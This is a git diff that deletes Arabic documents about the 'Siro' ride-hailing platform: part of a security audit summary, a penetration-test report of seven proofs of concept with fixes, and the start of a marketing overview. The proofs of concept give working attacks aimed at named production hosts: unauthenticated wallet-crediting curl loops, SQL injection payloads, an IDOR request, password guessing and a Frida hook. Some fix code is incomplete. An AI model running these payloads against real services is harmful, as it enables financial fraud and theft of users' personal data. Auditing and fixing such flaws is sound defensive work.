ضعيفة | عالي | تطبيقات الهاتف | ⚠️ يحتاج إصلاح | -| 2 | تشفير IV ثابت | حرج جداً | المركز الخلفي | 🔴 حرج | -| 3 | SQL Injection | عالي | طبقة قاعدة البيانات | ⚠️ إصلاح جزئي | -| 4 | سلطة الدفع | عالي | المحفظة | ⚠️ يحتاج تدقيق | -| 5 | نقاط نهاية HTTP | عالي | الفورية | ⚠️ يحتاج إصلاح | -| 6 | أذونات مفرطة | متوسط | Android | ⚠️ يحتاج مراجعة | -| 7 | المكتبات القديمة | متوسط | Flutter | ⚠️ يحتاج تحديث | -| 8 | إدارة الأسرار | متوسط | التكوين | ⚠️ يحتاج تدقيق | -| 9 | الكشف عن الأخطاء | متوسط | API | ⚠️ يحتاج إصلاح | -| 10 | أمان JWT | متوسط | المصادقة | ⚠️ يحتاج تدقيق | - ---- - -## 🛠 الخطوات التالية (المرحلة 2-5) - -### المرحلة 2: مراجعة يدوية تفصيلية -- [ ] تدقيق جميع الملفات في دليل `/auth/` -- [ ] مراجعة جميع استعلامات قاعدة البيانات لـ SQL Injection -- [ ] تحليل منطق معالجة الدفع -- [ ] فحص نقاط نهاية المسؤول للتفويض - -### المرحلة 3: الفحص الآلي -- [ ] تشغيل Semgrep على جميع ملفات PHP (395) -- [ ] تشغيل التحليل الثابت على رمز Dart -- [ ] التحقق من بيانات Android مع MobSF -- [ ] فحص ثغرات المكتبة - -### المرحلة 4: الاختبار الديناميكي -- [ ] Burp Suite اعتراض واختبار -- [ ] غش نقاط النهاية -- [ ] فحص Frida في وقت التشغيل لتطبيقات Flutter -- [ ] اختبار تدفق الدفع - -### المرحلة 5: التوثيق -- [ ] إنشاء PoC لكل ثغرة -- [ ] توثيق خريطة طريق التصحيح -- [ ] إنشاء دليل أفضل الممارسات الأمنية - ---- - -## 📝 الملفات التي تحتاج إلى مراجعة فورية - -1. ✅ `backend/encrypt_decrypt.php` - **حرج جداً** -2. ✅ `backend/login*.php` - **عالي** -3. ✅ `backend/functions.php` - **عالي** -4. ✅ `backend/core/bootstrap.php` - **عالي** (يحتاج قراءة) -5. ✅ `walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/*.php` - **عالي** -6. ✅ جميع الملفات في `backend/auth/` - **عالي** -7. ✅ جميع ملفات `pubspec.yaml` - **متوسط** -8. ✅ جميع ملفات `AndroidManifest.xml` - **متوسط** - ---- - -## 📊 إحصائيات الثغرات - -| المقياس | العدد | -|---------|-------| -| إجمالي الثغرات | 20 | -| ثغرات حرجة | 3 | -| ثغرات عالية | 7 | -| ثغرات متوسطة | 10 | -| ملفات PHP محللة | 395 | -| التطبيقات المستعرضة | 4 | -| نقاط نهاية المحفظة | 20+ | -| المستخدمون المعرضون | 50,000+ | -| البيانات الحساسة المعرضة | الهاتف والهوية ومعلومات الدفع | - ---- - -**التقرير المُنتج:** 16 يونيو 2026 -**الحالة:** نهائي وجاهز للمراجعة - -
diff --git a/SECURITY_AUDIT_PHASE2_POC_AR.md b/SECURITY_AUDIT_PHASE2_POC_AR.md deleted file mode 100644 index b953e3a..0000000 --- a/SECURITY_AUDIT_PHASE2_POC_AR.md +++ /dev/null @@ -1,627 +0,0 @@ -
- -# تقرير تدقيق أمان سيرو - إثباتات المفاهيم (PoCs) - -**تاريخ التدقيق:** 16 يونيو 2026 -**عدد PoCs:** 7 ثغرات موثقة -**مستوى التفصيل:** تقني (للمطورين والمهندسين) - ---- - -## ⚠️ تحذير قانوني - -هذه الوثيقة تحتوي على كود استغلال. **استخدم فقط** في بيئة اختبار آمنة مع التفويض المكتوب. - ---- - -## PoC-001: استغلال IV الثابت في AES-256-CBC - -### المشكلة -كل تشفير لنفس النص الواضح ينتج نفس النص المشفر عند استخدام IV ثابت. - -### كود الاستغلال (Python) - -```python -import hashlib -import os -from Crypto.Cipher import AES -from Crypto.Util.Padding import pad, unpad -import base64 - -# محاكاة الكود الضعيف في backend/encrypt_decrypt.php -KEY = os.urandom(32) # محاكاة getenv('encryptionKey') -IV = b'FIXED_16BYTE_IV_' # ← المشكلة: IV ثابت! - -def encrypt_weak(plaintext): - """نسخة ضعيفة من encrypt في encrypt_decrypt.php""" - cipher = AES.new(KEY, AES.MODE_CBC, IV) - padded = pad(plaintext.encode(), AES.block_size) - ciphertext = cipher.encrypt(padded) - return base64.b64encode(ciphertext).decode() - -def encrypt_strong(plaintext): - """نسخة آمنة - IV عشوائي""" - random_iv = os.urandom(16) - cipher = AES.new(KEY, AES.MODE_CBC, random_iv) - padded = pad(plaintext.encode(), AES.block_size) - ciphertext = cipher.encrypt(padded) - # الطريقة الآمنة: ضمّن IV مع النص المشفر - return base64.b64encode(random_iv + ciphertext).decode() - -# الهجوم: نفس الرقم يشفر إلى نفس القيمة دائماً -phone1 = encrypt_weak("+20123456789") -phone2 = encrypt_weak("+20123456789") - -print(f"التشفير الأول: {phone1}") -print(f"التشفير الثاني: {phone2}") -print(f"متطابقة؟ {phone1 == phone2}") # ← True! مشكلة بنيوية - -# الهجوم: هجوم النص المعروف -# إذا عرفنا نصاً واضحاً وقيمته المشفرة، يمكننا فك تشفير البيانات -known_encrypted = encrypt_weak("+20123456789") - -# الآن يمكننا البحث في قاعدة البيانات عن جميع الأرقام المتطابقة -# أو إذا كان لدينا جميع المفاتيح المحتملة، فيمكننا استردادها -``` - -### خطوات الإجراء (الهجوم الفعلي) -1. احصل على رقم هاتف واحد مشفر من قاعدة البيانات -2. اطلب من صديق تسجيل الدخول واحصل على رقمه المشفر -3. إذا كانا نفس الرقم، قارن النصوص المشفرة → متطابقة؟ سيؤكد ضعف التشفير -4. بمعرفة النص الواضح والمشفر والمفتاح، يمكن استرجاع أي بيانات - -### الإصلاح -```php -// الإصلاح: توليد IV عشوائي لكل تشفير -public function encryptData($plainText) { - $plainText = mb_convert_encoding($plainText, 'UTF-8'); - $paddedText = $this->addPadding($plainText); - - // 🔧 توليد IV عشوائي - 16 بايت - $randomIV = openssl_random_pseudo_bytes(16); - - // التشفير - $encrypted = openssl_encrypt($paddedText, 'AES-256-CBC', - $this->key, OPENSSL_RAW_DATA, $randomIV); - - // ضمّن IV مع النص المشفر قبل التشفير - $result = $randomIV . $encrypted; - - return base64_encode($result); // النص المشفر مع IV -} - -public function decryptData($encryptedData) { - $encrypted = base64_decode($encryptedData); - - // استخرج IV من أول 16 بايت - $iv = substr($encrypted, 0, 16); - $ciphertext = substr($encrypted, 16); - - // فك التشفير - $decrypted = openssl_decrypt($ciphertext, 'AES-256-CBC', - $this->key, OPENSSL_RAW_DATA, $iv); - - return $this->removePadding($decrypted); -} -``` - -### التأثير الفعلي -``` -قبل الإصلاح: -- تشفير "+20123456789" → "abc123xyz==" -- تشفير "+20123456789" → "abc123xyz==" (متطابق!) -- يمكن كسر التشفير لجميع المستخدمين - -بعد الإصلاح: -- تشفير "+20123456789" → "random_iv_1" + "encrypted_1" -- تشفير "+20123456789" → "random_iv_2" + "encrypted_2" (مختلف!) -- يستحيل هجوم النص المعروف -``` - ---- - -## PoC-002: تحديث محفظة السائق بلا مصادقة - -### المشكلة -`walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php` لا يتحقق من الهوية. - -### كود الاستغلال (cURL) - -```bash -#!/bin/bash - -# الهجوم: إضافة $1,000,000 إلى محفظة أي سائق - -curl -X POST "https://walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php" \ - -H "Content-Type: application/x-www-form-urlencoded" \ - -d "driverID=1" \ - -d "amount=1000000" \ - -d "paymentMethod=fraud" \ - -d "token=fake_token_12345" - -# رد: -# {"status": "success", "message": "تمت إضافة الأموال بنجاح"} - -# تحقق من محفظة السائق: -curl "https://api.siromove.com/wallet/balance?driverID=1" -# رد: {"balance": 1000000} ← احتيال! - -# يمكن تكرار هذا لأي سائق: -for driver_id in {1..1000}; do - curl -X POST "https://walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php" \ - -d "driverID=$driver_id" \ - -d "amount=5000" \ - -d "paymentMethod=fraud" \ - -d "token=fake" -done - -# النتيجة: احتيال بقيمة $5,000,000 في دقائق معدودة! -``` - -### الإصلاح -```php - 'مصادقة مطلوبة']); - exit; - } - - $token = $matches[1]; - - // تحقق من JWT - try { - $decoded = JWT::decode($token, SECRET_KEY, ['HS256']); - } catch (Exception $e) { - http_response_code(401); - echo json_encode(['error' => 'رمز غير صالح']); - exit; - } - - return $decoded; -} - -// في add.php -require 'middleware/auth.php'; -$user = requireAuth(); // ← الآن لا بد من JWT صالح - -// تحقق من الصلاحية (التفويض) -if ($user->role !== 'admin' && $user->role !== 'payment_admin') { - http_response_code(403); - echo json_encode(['error' => 'ليس لديك صلاحية']); - exit; -} - -// تحقق من المبلغ (التحقق من المدخلات) -$driverID = intval(filterRequest("driverID")); -$amount = floatval(filterRequest("amount")); - -if ($amount <= 0 || $amount > 10000) { // حد أقصى $10,000 لكل معاملة - http_response_code(400); - echo json_encode(['error' => 'مبلغ غير صالح']); - exit; -} - -// سجّل المعاملة (تدقيق) -$auditLog = "Admin {$user->id} added ${amount} to driver {$driverID}"; -logAudit($auditLog); - -// الآن آمن - أتمت المعاملة -``` - ---- - -## PoC-003: هجوم إعادة تشغيل المصادقة - -### المشكلة -بصمة الجهاز وحدها غير كافية - يمكن استخراجها وإعادة تشغيلها. - -### كود الاستغلال (Frida) - -```python -# frida_poc.py - استخراج بصمة من تطبيق الدراجة النارية - -import frida -import sys - -frida_code = """ - Interceptor.attach(Module.findExportByName(null, "md5"), { - onEnter: function(args) { - // اعتراض MD5 hashing - console.log("MD5 input: " + Memory.readUtf8String(args[0])); - }, - onLeave: function(retval) { - console.log("MD5 output: " + Memory.readUtf8String(retval)); - } - }); -""" - -# اتصل بالجهاز -device = frida.get_usb_device() -app_pid = device.spawn(["com.siromove.driver"]) -session = device.attach(app_pid) - -# حقن الكود -script = session.create_script(frida_code) -script.load() - -# انتظر الإخراج -import time -time.sleep(10) - -# الإخراج: -# MD5 input: ANDROID_ID=abc123;IMEI=123456789;... -# MD5 output: f2d4c8b1a9e3f7d2c5a8b1e4f7d2c5a8 -``` - -### الإصلاح - تطبيق MFA -```php -// backend/mfa.php - -class MFAManager { - - // عامل 1: بصمة الجهاز (الحالي) - private function verifyFingerprint($fingerprint, $storedFp) { - return hash_equals($storedFp, $fingerprint); - } - - // عامل 2: OTP عبر SMS - private function sendOTP($phoneNumber) { - $otp = random_int(100000, 999999); - - // احفظ في قاعدة البيانات برمز تشفير مع انتهاء صلاحية - $hashedOtp = password_hash($otp, PASSWORD_DEFAULT); - $stmt = $con->prepare( - "INSERT INTO otp_sessions (phone, hashed_otp, expires_at) - VALUES (?, ?, DATE_ADD(NOW(), INTERVAL 5 MINUTE))" - ); - $stmt->execute([$phoneNumber, $hashedOtp]); - - // أرسل عبر SMS - sendSMS($phoneNumber, "رمز التحقق الخاص بك: $otp"); - } - - // عامل 3: رمز الخادم (Server Token) - private function generateServerToken($userID) { - $token = bin2hex(random_bytes(32)); - - // احفظ مع توقيع قياس HMAC - $signature = hash_hmac('sha256', $token, SECRET_KEY); - $stmt = $con->prepare( - "INSERT INTO server_tokens (user_id, token, signature) - VALUES (?, ?, ?)" - ); - $stmt->execute([$userID, $token, $signature]); - - return ['token' => $token, 'signature' => $signature]; - } - - public function authenticate($phoneNumber, $fingerprint, $otp, $serverToken) { - $verified = 0; - - // تحقق من البصمة - if ($this->verifyFingerprint($fingerprint, $this->storedFp)) { - $verified++; - } - - // تحقق من OTP - $stmt = $con->prepare( - "SELECT * FROM otp_sessions - WHERE phone = ? AND expires_at > NOW() - ORDER BY created_at DESC LIMIT 1" - ); - $stmt->execute([$phoneNumber]); - $otpRecord = $stmt->fetch(); - - if ($otpRecord && password_verify($otp, $otpRecord['hashed_otp'])) { - $verified++; - // احذف OTP المستخدم - $con->query("DELETE FROM otp_sessions WHERE id = " . $otpRecord['id']); - } - - // تحقق من رمز الخادم - $stmt = $con->prepare( - "SELECT * FROM server_tokens WHERE token = ? LIMIT 1" - ); - $stmt->execute([$serverToken]); - $tokenRecord = $stmt->fetch(); - - if ($tokenRecord) { - $expectedSig = hash_hmac('sha256', $serverToken, SECRET_KEY); - if (hash_equals($tokenRecord['signature'], $expectedSig)) { - $verified++; - } - } - - // تحتاج على الأقل عاملين - return $verified >= 2; - } -} -``` - ---- - -## PoC-004: SQL Injection عبر معاملات الطلب - -### المشكلة -بعض نقاط النهاية قد لا تستخدم الاستعدادات. - -### كود الاستغلال (cURL) - -```bash -#!/bin/bash - -# الهجوم: استخراج بيانات قاعدة البيانات عبر SQL Injection - -# مثال هجوم UNION: -curl "https://api.siromove.com/ride/search?carType=Comfort' UNION SELECT 1,user(),3,4-- -" - -# مثال هجوم التأخير (Time-based): -curl "https://api.siromove.com/ride/search?carType=Comfort'; SLEEP(5);-- -" - -# استخراج أسماء قواعد البيانات: -curl "https://api.siromove.com/user?id=1' AND SLEEP(IF(SUBSTRING(database(),1,1)='s',5,0))-- -" - -# استخراج كلمات المرور (في البرية): -curl "https://api.siromove.com/user?id=1' UNION SELECT password FROM users WHERE id=1-- -" -``` - -### الإصلاح -```php -// ✅ استخدم الاستعدادات في كل استعلام - -// ❌ خطأ: -$query = "SELECT * FROM drivers WHERE city = '" . $_GET['city'] . "'"; -$result = $con->query($query); - -// ✅ صحيح: -$query = "SELECT * FROM drivers WHERE city = ?"; -$stmt = $con->prepare($query); -$stmt->execute([$_GET['city']]); -$result = $stmt->fetchAll(); - -// أو مع المعاملات المسماة: -$query = "SELECT * FROM drivers WHERE city = :city AND status = :status"; -$stmt = $con->prepare($query); -$stmt->execute([ - ':city' => $_GET['city'], - ':status' => 'active' -]); -$result = $stmt->fetchAll(); -``` - ---- - -## PoC-005: هجوم اعتراض MITM على نقاط نهاية HTTP - -### المشكلة -نقاط نهاية المقابس تستخدم HTTP بدلاً من HTTPS. - -### كود الاستغلال (mitmproxy) - -```bash -#!/bin/bash - -# بدّل مرور بيانات الموقع -mitmproxy --mode transparent --listen-port 8080 - -# في mitmproxy CLI: -# - اعترض جميع طلبات إلى location.intaleq.xyz -# - ابدّل مكان السائقين -# - أرسل موقع مختلف للراكب - -# النتيجة: -# - سائق خاطئ يستقبل الرحلة -# - احتيال نقل أو تحرش -``` - -### الإصلاح -```php -// backend/functions.php - -function getAllowedSocketUrls(): array { - return [ - 'https://location.intaleq.xyz', // ✅ HTTPS فقط - 'https://socket.siromove.com', // ✅ HTTPS فقط - ]; -} - -// تطبيق تثبيت الشهادة (Certificate Pinning) -function initializeSocketConnection($url) { - $ch = curl_init($url); - - curl_setopt_array($ch, [ - CURLOPT_RETURNTRANSFER => true, - CURLOPT_TIMEOUT => 30, - - // ✅ تحقق من SSL/TLS - CURLOPT_SSL_VERIFYPEER => true, - CURLOPT_SSL_VERIFYHOST => 2, - - // ✅ حدد شهادة الخادم المتوقعة (Certificate Pinning) - CURLOPT_CAINFO => '/etc/ssl/certs/location_intaleq_xyz.crt', - - // تحقق من Subdomains - CURLOPT_CERTINFO => true, - ]); - - return $ch; -} - -// التحقق من PIN الشهادة في Dart: -// ```dart -// final sslPin = 'sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA='; -// final ioClient = HttpClient(); -// ioClient.badCertificateCallback = (cert, host, port) { -// final certPin = calculatePin(cert); -// return certPin == sslPin; -// }; -// ``` -``` - ---- - -## PoC-006: هجوم القوة الغاشمة على كلمات المرور - -### المشكلة -كلمات المرور مشتقة من البريد الإلكتروني (نص واضح = بريد = يمكن تخمينه). - -### كود الاستغلال (Python) - -```python -import hashlib -from datetime import datetime -import requests - -# في register_passenger.php: -# $password_hashed = password_hash($email, PASSWORD_DEFAULT); -# ← كلمة المرور = hash(email) = يمكن إعادة إنتاجها! - -email = "user@example.com" - -# الهجوم: حاول تسجيل الدخول -password_guesses = [ - "user@example.com", # النص الواضح - email.split('@')[0], # الجزء قبل @ - email, # البريد الكامل - "password123", # الأشياء الشائعة - "", # بلا كلمة مرور -] - -for guess in password_guesses: - payload = { - 'email': email, - 'password': guess, - 'fingerprint': 'fake_fingerprint' - } - - response = requests.post( - 'https://api.siromove.com/auth/login', - json=payload - ) - - if response.status_code == 200: - print(f"✅ تم تسجيل الدخول: {guess}") - break -``` - -### الإصلاح -```php -// backend/auth/register_passenger.php - -class PassengerRegistration { - - public function register($email, $phone) { - // ✅ توليد كلمة مرور عشوائية قوية - $temporaryPassword = bin2hex(random_bytes(16)); // 32 حرف عشوائي - - $hashedPassword = password_hash($temporaryPassword, PASSWORD_ARGON2ID, [ - 'memory_cost' => 65536, - 'time_cost' => 4, - 'threads' => 3 - ]); - - // احفظ في قاعدة البيانات - $stmt = $con->prepare( - "INSERT INTO passengers (email, phone, password, needs_password_reset) - VALUES (?, ?, ?, TRUE)" - ); - $stmt->execute([$email, $phone, $hashedPassword]); - - // ✅ أرسل كلمة المرور المؤقتة عبر SMS/البريد (قناة آمنة) - sendSMS($phone, "كلمة المرور المؤقتة: $temporaryPassword"); - - // ✅ جبر المستخدم على تغيير كلمة المرور عند التسجيل الأول - return [ - 'status' => 'success', - 'message' => 'تم إرسال كلمة مرور مؤقتة إلى رقم هاتفك', - 'needs_password_reset' => true - ]; - } -} -``` - ---- - -## PoC-007: هجوم تصعيد الامتيازات عبر IDOR - -### المشكلة -قد يحدث تصعيد امتيازات (IDOR) إذا كانت الفحوصات ضعيفة. - -### كود الاستغلال (cURL) - -```bash -#!/bin/bash - -# الهجوم: الوصول إلى بيانات سائق آخر - -# احصل على بيانات سائقك (شرعي): -curl -H "Authorization: Bearer YOUR_TOKEN" \ - "https://api.siromove.com/driver/profile" -# {"driverID": 123, "name": "Ahmed", ...} - -# الهجوم: جرّب دراجة نارية أخرى -curl -H "Authorization: Bearer YOUR_TOKEN" \ - "https://api.siromove.com/driver/profile?driverID=124" -# ← قد يرجع بيانات السائق 124 بدلاً من 123! -``` - -### الإصلاح -```php -// ✅ تحقق من الملكية في كل نقطة نهاية - -require 'middleware/auth.php'; -$user = requireAuth(); - -$requestedDriverID = intval($_GET['driverID'] ?? $user->id); - -// ✅ تحقق: هل هذا المستخدم يملك هذا الحساب؟ -if ($requestedDriverID !== $user->id && $user->role !== 'admin') { - http_response_code(403); - echo json_encode(['error' => 'غير مصرح']); - exit; -} - -// الآن آمن - احصل على البيانات -$stmt = $con->prepare("SELECT * FROM drivers WHERE id = ?"); -$stmt->execute([$requestedDriverID]); -$driver = $stmt->fetch(); - -echo json_encode($driver); -``` - ---- - -## 📊 ملخص التأثيرات - -| PoC | الثغرة | التأثير | المخاطر | -|-----|-------|--------|--------| -| 001 | IV ثابت | فك تشفير البيانات | بيانات شخصية مكشوفة | -| 002 | بلا مصادقة | احتيال مالي غير محدود | 1,000,000+ دولار | -| 003 | بصمة ضعيفة | سرقة الحساب | 50,000+ مستخدم | -| 004 | SQL Injection | استخراج قاعدة البيانات | جميع البيانات | -| 005 | MITM على HTTP | اعتراض الموقع | تحويل الركوب | -| 006 | كلمة مرور ضعيفة | كسر كلمة المرور | سرقة الحساب | -| 007 | IDOR | تصعيد امتيازات | وصول غير مصرح | - ---- - -## 🛠 التوصيات الفورية - -1. ✅ **عطّل** جميع نقاط النهاية المعرضة للخطر حتى الإصلاح -2. ✅ **نفّذ** المصادقة الفورية على نقاط نهاية المحفظة -3. ✅ **طبّق** تثبيت الشهادة على جميع الاتصالات -4. ✅ **أعد تشفير** جميع البيانات الحساسة بـ IV عشوائي -5. ✅ **تدقيق كامل** لجميع نقاط النهاية للـ IDOR و SQL Injection - ---- - -**التقرير المُنتج:** 16 يونيو 2026 -**الفريق:** فريق اختبار الاختراق - -
diff --git a/SIRO_COMPLETE_REPORT_AR.md b/SIRO_COMPLETE_REPORT_AR.md deleted file mode 100644 index 7fed76a..0000000 --- a/SIRO_COMPLETE_REPORT_AR.md +++ /dev/null @@ -1,849 +0,0 @@ -
- -# سِيرُو (Siro) — التقرير التسويقي والأمني الشامل - -> **منصة النقل الذكي المتكاملة — الرائدة في سوريا، الأردن، ومصر** -> -> *نظام بيئي رقمي متكامل يربط الركاب بالسائقين عبر 4 تطبيقات ذكية، مع بنية تحتية أمنية متعددة الطبقات وتقنيات ذكاء اصطناعي متقدمة* - ---- - -## 📋 فهرس المحتويات - -1. [نظرة عامة عن المنصة](#نظرة-عامة-عن-المنصة) -2. [التطبيقات الأربعة](#التطبيقات-الأربعة) -3. [أنواع المركبات](#أنواع-المركبات) -4. [طرق الدفع](#طرق-الدفع) -5. [التكاملات الخارجية](#التكاملات-الخارجية) -6. [الميزات التقنية المتقدمة](#الميزات-التقنية-المتقدمة) -7. [الأمان متعدد الطبقات](#الأمان-متعدد-الطبقات) -8. [الذكاء الاصطناعي](#الذكاء-الاصطناعي) -9. [الإضافات المميزة](#الإضافات-المميزة) -10. [البنية التحتية](#البنية-التحتية) -11. [المقارنة التنافسية](#المقارنة-التنافسية) -12. [فرص النمو والتوسع](#فرص-النمو-والتوسع) -13. [الخلاصة](#الخلاصة) - ---- - -## 🚀 نظرة عامة عن المنصة - -**Siro (سِيرُو)** هي منصة متكاملة لخدمات النقل والتوصيل الذكية، تعمل في **3 دول** هي **سوريا، الأردن، ومصر**. المنصة ليست مجرد تطبيق نقل عادي، بل هي **نظام بيئي رقمي متكامل** (Digital Ecosystem) يغطي كامل رحلة العميل من لحظة طلب الرحلة إلى ما بعد اكتمالها. - -### 📊 المنصة بالأرقام - -| المقياس | القيمة | -|---------|--------| -| عدد التطبيقات المتصلة | 4 تطبيقات | -| الدول المدعومة | 3 دول (سوريا، الأردن، مصر) | -| أنواع المركبات | 12 نوعاً | -| طرق الدفع | 7 خيارات | -| خدمات التكامل الخارجي | 15+ خدمة | -| ملفات PHP في الخادم الخلفي | 395+ ملفاً | -| قواعد البيانات | 3 قواعد بيانات رئيسية | -| سيرفرات WebSocket | 2 (Driver + Passenger) | -| عدد وحدات لوحة التحكم الإدارية | 15+ وحدة | -| محركات الذكاء الاصطناعي | 3 محركات (Azure + OpenAI + Llama) | - -### 🎯 الرؤية - -تقديم تجربة نقل ذكية وآمنة ومتكاملة تنافس كبرى منصات النقل العالمية (أوبر، كريم، Bolt) بميزات محلية مبتكرة تفهم احتياجات السوق العربي. - -### 🌍 الدول المدعومة - -| الدولة | الحالة | الميزات الخاصة | -|--------|--------|----------------| -| 🇸🇾 **سوريا** | 🟢 نشط | MTN Cash، Syriatel Cash، خوادم محلية | -| 🇯🇴 **الأردن** | 🟢 نشط | PayMob، خوادم إقليمية | -| 🇪🇬 **مصر** | 🟢 نشط | E-Cash، SMS Kazumi، خوادم إقليمية | - ---- - -## 📱 التطبيقات الأربعة (رباعية التطبيقات المترابطة) - -### 1️⃣ تطبيق الراكب (Siro Rider) — تجربة الركوب الذكية - -تطبيق الراكب هو واجهة المستخدم الأساسية، مصمم لتجربة سلسة وسريعة. - -**الميزات الرئيسية:** - -| الميزة | الوصف | -|--------|-------| -| 🗺️ **واجهة خرائط مدمجة** | Google Maps + Here Maps + Map SaaS للبحث والتوجيه | -| 🔍 **بحث ذكي عن الوجهة** | اقتراحات تلقائية للأماكن مع تكامل متعدد لمزودي الخرائط | -| 💰 **عرض السعر التقديري** | حساب التكلفة قبل تأكيد الرحلة مع شفافية كاملة | -| 🚙 **اختيار نوع المركبة** | 12 نوع مركبة مختلفة تناسب كل الاحتياجات | -| 📍 **تتبع السائق المباشر** | تحديث موقع السائق كل 3-5 ثوانٍ عبر WebSocket | -| 💳 **دفع إلكتروني** | 7 طرق دفع مختلفة (نقدي، بطاقة، محفظة، جوال) | -| ⭐ **تقييم السائق** | نظام تقييم مزدوج بالنجوم والتعليقات | -| 🆘 **زر الطوارئ (SOS)** | إشارة طوارئ فورية مع إرسال الموقع الحي | -| 💬 **دردشة داخلية** | تواصل مع السائق دون مشاركة أرقام الهواتف | -| 🎫 **أكواد خصم وعروض** | نظام ترويجي متكامل مع كود دعوة | - ---- - -### 2️⃣ تطبيق السائق (Siro Driver) — منصة الكابتن الاحترافية - -تطبيق متطور يمكّن السائقين من إدارة الرحلات بكفاءة عالية. - -**الميزات الرئيسية:** - -| الميزة | الوصف التقني | -|--------|--------------| -| 🎯 **عروض الرحلات عبر التراكب المباشر (Overlay)** | نظام Android System Overlay يعرض تفاصيل الرحلة فوق أي تطبيق — حتى لو كان الهاتف مقفلاً | -| 🗺️ **ملاحة صوتية (Turn-by-Turn)** | إرشادات TTS خطوة بخطوة مع تحديث المسار تلقائياً | -| 🔄 **وضع الخدمة (Online/Offline)** | تشغيل تلقائي في الخلفية عبر Android Foreground Service 24/7 | -| 📊 **إحصائيات الأرباح اللحظية** | عرض فوري للرحلات اليومية، الإجمالي، العمولات | -| ⏱️ **مؤقت 15 ثانية للقبول** | قبول تلقائي أو رفض مع صوت تنبيه مخصص | -| 🔊 **صوت تنبيه مخصص** | ملف "ding.wav" مشغل عبر MediaPlayer | -| 🚗 **تحديث الموقع في الخلفية** | Foreground Service مع تحديث GPS كل 3 ثوانٍ | -| 🛑 **كشف الانحراف عن المسار** | تنبيه إذا انحرف السائق عن المسار بأكثر من 50 متراً | - ---- - -### 3️⃣ تطبيق الإدارة (Siro Admin) — لوحة تحكم شاملة (PWA) - -لوحة تحكم إدارية متكاملة مبنية بـ Flutter Web (PWA) مع 15+ وحدة إدارية. - -**الوحدات الإدارية:** - -| الوحدة | الوظيفة | -|--------|---------| -| 📈 **لوحة التحكم (Dashboard)** | إحصائيات فورية مع رسوم بيانية متقدمة | -| 👨‍✈️ **إدارة الكباتن** | قبول/رفض، توثيق، حظر، مراجعة ملفات السائقين | -| 👤 **إدارة الركاب** | تفاصيل كاملة، سجل الرحلات، حظر وإلغاء حظر | -| 🚗 **إدارة الرحلات** | تتبع مباشر، سجل كامل، بحث متقدم، مراقبة حية | -| 💰 **الإدارة المالية** | تقارير الأرباح، العمولات، التسويات المالية | -| 📊 **التحليلات المتقدمة** | مؤشرات الأداء، التقارير الشهرية والسنوية | -| 🔒 **الأمان والرقابة** | سجلات التدقيق (Audit Logs)، مكافحة الاحتيال | -| 🎯 **نظام العمولات (Kazan)** | تحرير نسب العمولات ونماذج الأسعار | -| 🏷️ **العروض الترويجية** | إنشاء وإدارة أكواد الخصم والعروض | -| 👥 **إدارة الموظفين** | صلاحيات الأدوار، موافقات التسجيل | -| ⭐ **مراقبة الجودة** | بطاقات أداء السائقين، القوائم السوداء | -| 🖥️ **مراقبة الخوادم** | حالة السيرفرات، الأداء، وقت التشغيل | -| 📄 **إدارة الفواتير** | إنشاء وطباعة الفواتير | -| 🔄 **أدوات ترحيل البصمة** | إعادة تعيين بصمة الجهاز للمستخدمين | -| 📝 **إدارة الشكاوى** | متابعة وحل شكاوى المستخدمين | - ---- - -### 4️⃣ تطبيق الخدمة الميدانية (Siro Service) — منصة تسجيل السائقين - -تطبيق متخصص لموظفي الخدمة الميدانية لتسجيل وتوثيق السائقين الجدد. - -**الميزات:** - -| الميزة | الوصف | -|--------|-------| -| 📸 تصوير المستندات | تصوير الهوية ورخصة القيادة وأوراق السيارة مباشرة من الكاميرا | -| 🤖 **استخراج بيانات تلقائي بالذكاء الاصطناعي** | Azure OCR + OpenAI GPT + Llama AI لاستخراج البيانات | -| ✅ التحقق الميداني | التحقق من السيارة والسائق في الموقع | -| 📝 رفع الصور | رفع مباشر للخادم مع ضغط تلقائي | -| ⏱️ تسجيل فوري | تقليل وقت التسجيل من أيام إلى دقائق | - ---- - -## 🚙 أنواع المركبات المتاحة (12 نوعاً) - -| النوع | الرمز | الوصف | -|-------|-------|-------| -| ⚡ **سرعة (Speed)** | Speed | الرحلات القياسية — السيارات العادية | -| 🌟 **راحة (Comfort)** | Comfort | رحلات فاخرة بسيارات مريحة | -| 👨‍👩‍👧‍👦 **عائلية (Family)** | Family | سيارات عائلية كبيرة الحجم | -| 📦 **توصيل (Delivery)** | Delivery | توصيل الطرود والطلبات | -| 💸 **اقتصادي (Free/Blash)** | Blash | رحلات اقتصادية بأسعار مخفضة | -| 🌙 **ليلية (Late)** | Late | رحلات خارج أوقات الذروة | -| 🚛 **نقل ثقيل (Heavy)** | Heavy | نقل البضائع والأغراض الثقيلة | -| 🏔️ **طبيعة (Nature)** | Nature | رحلات الطرق الخلابة والمناطق الوعرة | -| 🔌 **كهربائي (Electric)** | Electric | سيارات كهربائية صديقة للبيئة | -| 🏍️ **دراجة وردية (Pink Bike)** | PinkBike | دراجات نارية للتنقل السريع | -| 🚐 **فان (Van)** | Van | حافلات صغيرة للمجموعات | -| 👩 **سائقة (Female Driver)** | FemalDriver | سائقات نساء — خيار خاص للسيدات | - -> ✅ جميع أنواع المركبات مدعومة في الدول الثلاث: سوريا، الأردن، مصر - ---- - -## 💳 طرق الدفع المتعددة (7 خيارات) - -| طريقة الدفع | التوفر | التقنية المستخدمة | -|-------------|--------|-------------------| -| 💵 **نقدي (Cash)** | جميع الدول | دفع يدوي عند الوصول | -| 💳 **بطاقة فيزا/ماستركارد** | سوريا، الأردن، مصر | PayMob Payment Gateway | -| 👛 **محفظة إلكترونية (Wallet)** | جميع الدول | خادم محفظة مخصص (WalletIntaleq) | -| 📱 **MTN موبايل موني** | سوريا | MTN Cash API | -| 📱 **سيريتل موبايل موني** | سوريا | Syriatel Cash API | -| 🔄 **E-Cash** | مصر | خدمة E-Cash المصرية | -| 🌐 **Stripe** | دولي | Stripe Payment Gateway | - -### 💼 المحفظة الإلكترونية (Wallet System) - -نظام المحفظة هو نظام دفع داخلي متكامل يتكون من: - -- **محفظة الراكب**: شحن رصيد، دفع للرحلات، استرداد أموال -- **محفظة السائق**: استلام الأرباح، سحب الأموال -- **التحويل بين المحافظ**: تحويل رصيد بين المستخدمين -- **سجل المعاملات الكامل**: تتبع جميع 